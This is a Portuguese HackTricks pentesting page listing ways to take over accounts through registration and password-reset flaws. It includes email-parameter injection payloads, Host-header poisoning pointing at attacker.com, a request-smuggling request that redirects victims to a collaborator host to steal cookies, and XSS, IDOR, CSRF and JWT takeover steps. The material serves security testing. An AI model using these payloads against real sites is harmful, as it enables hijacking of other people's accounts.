hacktricks/pentesting-web/registration-vulnerabilities.md

9.8 KiB

Vulnerabilidades de Registro e Tomada de Conta

{% hint style="success" %} Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Suporte ao HackTricks
{% endhint %}

Tomada de Conta de Registro

Registro Duplicado

  • Tente gerar usando um nome de usuário existente
  • Verifique variando o email:
  • maiúsculas
  • +1@
  • adicione algum ponto no email
  • caracteres especiais no nome do email (%00, %09, %20)
  • Coloque caracteres pretos após o email: test@test.com a
  • victim@gmail.com@attacker.com
  • victim@attacker.com@gmail.com

Enumeração de Nome de Usuário

Verifique se você consegue descobrir quando um nome de usuário já foi registrado dentro da aplicação.

Política de Senha

Ao criar um usuário, verifique a política de senha (verifique se você pode usar senhas fracas).
Nesse caso, você pode tentar forçar a autenticação de credenciais.

Injeção de SQL

Verifique esta página para aprender como tentar tomadas de conta ou extrair informações via SQL Injections em formulários de registro.

Tomadas de Conta Oauth

{% content-ref url="oauth-to-account-takeover.md" %} oauth-to-account-takeover.md {% endcontent-ref %}

Vulnerabilidades SAML

{% content-ref url="saml-attacks/" %} saml-attacks {% endcontent-ref %}

Alterar Email

Quando registrado, tente alterar o email e verifique se essa alteração é corretamente validada ou se pode mudá-lo para emails arbitrários.

Mais Verificações

  • Verifique se você pode usar emails descartáveis
  • Senha Longa (>200) leva a DoS
  • Verifique os limites de taxa na criação de contas
  • Use username@burp_collab.net e analise o callback

Tomada de Conta de Redefinição de Senha

Vazamento de Token de Redefinição de Senha Via Referenciador

  1. Solicite a redefinição de senha para seu endereço de email
  2. Clique no link de redefinição de senha
  3. Não altere a senha
  4. Clique em qualquer site de terceiros (ex: Facebook, Twitter)
  5. Intercepte a solicitação no proxy Burp Suite
  6. Verifique se o cabeçalho referer está vazando o token de redefinição de senha.

Envenenamento de Redefinição de Senha

  1. Intercepte a solicitação de redefinição de senha no Burp Suite
  2. Adicione ou edite os seguintes cabeçalhos no Burp Suite: Host: attacker.com, X-Forwarded-Host: attacker.com
  3. Encaminhe a solicitação com o cabeçalho modificado
    http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
  4. Procure uma URL de redefinição de senha com base no cabeçalho host como: https://attacker.com/reset-password.php?token=TOKEN

Redefinição de Senha Via Parâmetro de Email

# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

IDOR em Parâmetros de API

  1. O atacante deve fazer login com sua conta e ir para a funcionalidade Alterar senha.
  2. Inicie o Burp Suite e intercepte a solicitação.
  3. Envie para a aba de repetição e edite os parâmetros: ID do usuário/email
    powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})

Token de Redefinição de Senha Fraco

O token de redefinição de senha deve ser gerado aleatoriamente e ser único a cada vez.
Tente determinar se o token expira ou se é sempre o mesmo; em alguns casos, o algoritmo de geração é fraco e pode ser adivinhado. As seguintes variáveis podem ser usadas pelo algoritmo.

  • Timestamp
  • UserID
  • Email do Usuário
  • Primeiro e Último Nome
  • Data de Nascimento
  • Criptografia
  • Apenas Números
  • Sequência de token pequena (caracteres entre [A-Z,a-z,0-9])
  • Reutilização de token
  • Data de expiração do token

Vazamento de Token de Redefinição de Senha

  1. Acione uma solicitação de redefinição de senha usando a API/UI para um email específico, por exemplo: test@mail.com
  2. Inspecione a resposta do servidor e verifique o resetToken
  3. Em seguida, use o token em uma URL como https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]

Redefinição de Senha Via Colisão de Nome de Usuário

  1. Registre-se no sistema com um nome de usuário idêntico ao nome de usuário da vítima, mas com espaços em branco inseridos antes e/ou depois do nome de usuário. por exemplo: "admin "
  2. Solicite uma redefinição de senha com seu nome de usuário malicioso.
  3. Use o token enviado para seu email e redefina a senha da vítima.
  4. Conecte-se à conta da vítima com a nova senha.

A plataforma CTFd foi vulnerável a este ataque.
Veja: CVE-2020-7245

Tomada de Conta Via Cross Site Scripting

  1. Encontre um XSS dentro da aplicação ou em um subdomínio se os cookies estiverem escopados para o domínio pai: *.domain.com
  2. Vaze o cookie de sessões atual
  3. Autentique-se como o usuário usando o cookie

Tomada de Conta Via HTTP Request Smuggling

1. Use smuggler para detectar o tipo de HTTP Request Smuggling (CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. Crie uma solicitação que sobrescreva o POST / HTTP/1.1 com os seguintes dados:
GET http://something.burpcollaborator.net HTTP/1.1 X: com o objetivo de redirecionar as vítimas para burpcollab e roubar seus cookies
3. A solicitação final pode parecer com o seguinte

GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X

Hackerone reports exploiting this bug
* https://hackerone.com/reports/737140
* https://hackerone.com/reports/771666

Tomada de Conta via CSRF

  1. Crie um payload para o CSRF, por exemplo: “formulário HTML com envio automático para uma alteração de senha”
  2. Envie o payload

Tomada de Conta via JWT

JSON Web Token pode ser usado para autenticar um usuário.

  • Edite o JWT com outro ID de Usuário / Email
  • Verifique a assinatura fraca do JWT

{% content-ref url="hacking-jwt-json-web-tokens.md" %} hacking-jwt-json-web-tokens.md {% endcontent-ref %}

Referências

{% hint style="success" %} Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}